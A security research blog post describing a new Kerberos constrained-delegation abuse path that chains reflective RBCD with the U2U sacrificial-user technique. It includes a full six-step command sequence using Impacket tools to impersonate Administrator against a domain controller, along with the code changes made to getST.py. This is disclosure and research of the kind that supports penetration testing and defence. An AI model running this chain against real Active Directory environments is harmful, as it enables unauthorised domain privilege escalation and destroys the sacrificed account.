This blogpost introduces a new path for abusing Kerberos delegation! By combining Elad Shamir’s Reflective RBCD technique, James Forshaw’s U2U sacrificial user technique, and extending Impacket to support S4U2Proxy with U2U, we can now obtain the forwardable ticket required for Constrained Delegation without Protocol Transition when the account trusted for delegation has no SPN.
However, like the sacrificial path Forshaw discovered, this also requires RC4 to be permitted in the domain, destroys the affected user account, and requires MAQ to be enabled in the domain (or for something with an SPN to already be compromised).
Standing on the Shoulders of Giants Link to heading
Constrained Delegation Link to heading
There are two forms of Constrained Delegation in Kerberos:
- With Protocol Transition: Allows a service to impersonate a user without requiring them to authenticate first. To achieve impersonation without authentication, Microsoft introduced S4U2Self to produce tickets that can be used with a subsequent S4U2Proxy.
- Without Protocol Transition: The service cannot produce forwardable tickets on its own using S4U2Self. Instead, an S4U2Proxy can only be performed if the service trusted for delegation already has a forwardable ticket as the user to impersonate.
Reflective Resource-Based Constrained Delegation Link to heading
Any user or machine in a domain, by default, can write their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, configuring Resource-Based Constrained Delegation (RBCD) on themselves. RBCD follows the same S4U mechanics as Constrained Delegation with Protocol Transition, but the service decides who may delegate to it rather than the domain.
When abusing Constrained Delegation without Protocol Transition, Elad Shamir discovered that an attacker can configure RBCD on a compromised resource to trust a MAQ-added machine (or anything with an SPN), then use S4U2Proxy to produce a forwardable service ticket as an elevated user. This ticket can then be used as evidence in a second S4U2Proxy against the original service the compromised resource is allowed to delegate to.
This chaining of delegation to produce and use a forwardable service ticket is called Reflective Resource-Based Constrained Delegation. It visually looks something like this:
Abusing Delegation with SPN-less Accounts Link to heading
If an account trusted for delegation does not have an SPN, it is still possible to produce tickets through an alternative means called User-to-User (U2U) authentication. When U2U is in use, instead of encrypting tickets with the passwords of services, the KDC encrypts tickets with a TGT session key which enables ticket generation to resources without SPNs.
When abusing Constrained Delegation with Protocol Transition, James Forshaw discovered that, if you changed a user’s password hash to that of its TGT session key, you can successfully generate an impersonated ticket and pivot through delegation. However, this tactic subsequently destroys the user, as their credentials will no longer be valid.
The Methodology Gap Link to heading
With current research, we can use Reflective RBCD to abuse Constrained Delegation without Protocol Transition, but this requires SPNs to work. We also have means of abusing Constrained Delegation against SPN-less accounts, but this only applies to the variant with Protocol Transition.
This blogpost introduces a new path, opening a means of abusing Constrained Delegation without Protocol Transition against SPN-less accounts by combining Reflective RBCD with U2U.
Just like the other tactics, the following prerequisites are required:
- Domain permits RC4 encryption
- Machine Account Quota (MAQ) is enabled
- Resource without an SPN can configure RBCD
This also destroys the user trusted for delegation.
Abusing Constrained Delegation without Protocol Transition against SPN-less accounts Link to heading
Assume we’ve compromised the user LAMB with the password Password1!, which is allowed to delegate to host/DC01.secure.local via Constrained Delegation without Protocol Transition. However, LAMB does not have an SPN configured.
To successfully pivot to DC01 via delegation, we need to combine the work of Elad Shamir and James Forshaw:
- Request TGT and extract TGT session key for
LAMB. - Add a new computer to the domain via Machine Account Quota (MAQ).
- Configure RBCD on
LAMBso it trusts the added machine for delegation. - Change
LAMB’s password hash to its TGT session key. - Perform an S4U2Proxy with U2U to produce a forwardable service ticket as an elevated user.
- Pass that forwardable ticket (with an additional S4U2Proxy) to the service the compromised resource is allowed to delegate to.
Step 1: Get LAMB’s TGT and extract the session key
getTGT.py -hashes :$(pypykatz crypto nt 'Password1!') 'secure.local/LAMB' -dc-ip 10.0.1.40
describeTicket.py ./LAMB.ccache | grep "Ticket Session Key"
Here, our session key is b4758bcc4845a2bd4860eb5e8c3f5d12.
Step 2: Create a helper machine account via MAQ
addcomputer.py -computer-name 'LAMBPC$' -computer-pass 'Password123!' -dc-ip 10.0.1.40 'secure.local/LAMB:Password1!'
Step 3: Configure LAMB to trust LAMBPC$ for delegation
rbcd.py -delegate-from 'LAMBPC$' -delegate-to 'LAMB' -dc-ip 10.0.1.40 -action 'write' 'secure.local/LAMB:Password1!'
Step 4: Sacrifice LAMB
changepasswd.py -newhashes ':b4758bcc4845a2bd4860eb5e8c3f5d12' 'secure.local/LAMB:Password1!'@10.0.1.40
Step 5: U2U+RBCD S4U2Proxy (Novel Step)
getST.py -u2u -impersonate 'Administrator' -nospn 'LAMB' -tgt './LAMB.ccache' -dc-ip 10.0.1.40 'secure.local/LAMBPC$:Password123!'
Step 6: S4U2Proxy
export KRB5CCNAME=./LAMB.ccache
getST.py -impersonate 'Administrator' -spn 'host/DC01.secure.local' -additional-ticket './Administrator@[email protected]' -k -no-pass -dc-ip 10.0.1.40 'secure.local/LAMB'
Step 7: Profit!
The full chain looks like this:
Performing an S4U2Proxy with U2U Link to heading
The novel step happens during reflective RBCD when you perform the first S4U2Proxy to obtain a forwardable ticket. When working on this, I was trying to perform an S4U2Proxy with U2U since LAMB has no SPN. This is a valid thing to do with Kerberos, it’s just that Impacket didn’t support this specific functionality.
To get an S4U2Proxy with U2U working, the following modifications to getST.py were made:
1. In PA-PAC-OPTIONS, set the resource_based_constrained_delegation flag to True. Without this set, the KDC returned KDC_ERR_BADOPTION.
2. In kdc-options, set the enc-tkt-in-skey flag to True. This tells the KDC to encrypt its response ticket with a TGT session key instead.
3. In sname, set name-type to kRB5-NT-UNKNOWN and specify the target user in SNameString. This sets the service name to LAMB, our target user without an SPN.
4. A traditional S4U2Proxy request will send an evidence ticket to the KDC, but since we are using U2U, we also need to supply a TGT for the KDC to extract the session key from. The first ticket is our TGT for LAMB, and the second is the Administrator evidence ticket produced by S4U2Self.
With that, we can now successfully use S4U2Proxy with U2U to generate a forwardable ticket to a resource without an SPN! :D
Without the amazing research done by those who have come before, there’s no way I would have discovered this path. By combining Elad Shamir’s Reflective RBCD with James Forshaw’s U2U sacrificial user trick, we can now abuse Constrained Delegation without Protocol Transition against SPN-less accounts. This is not a new vulnerability in Kerberos, but rather a new set of steps to successfully exploit a configuration that has seemingly never been done before.
This blogpost was also uploaded to Sprocket Security!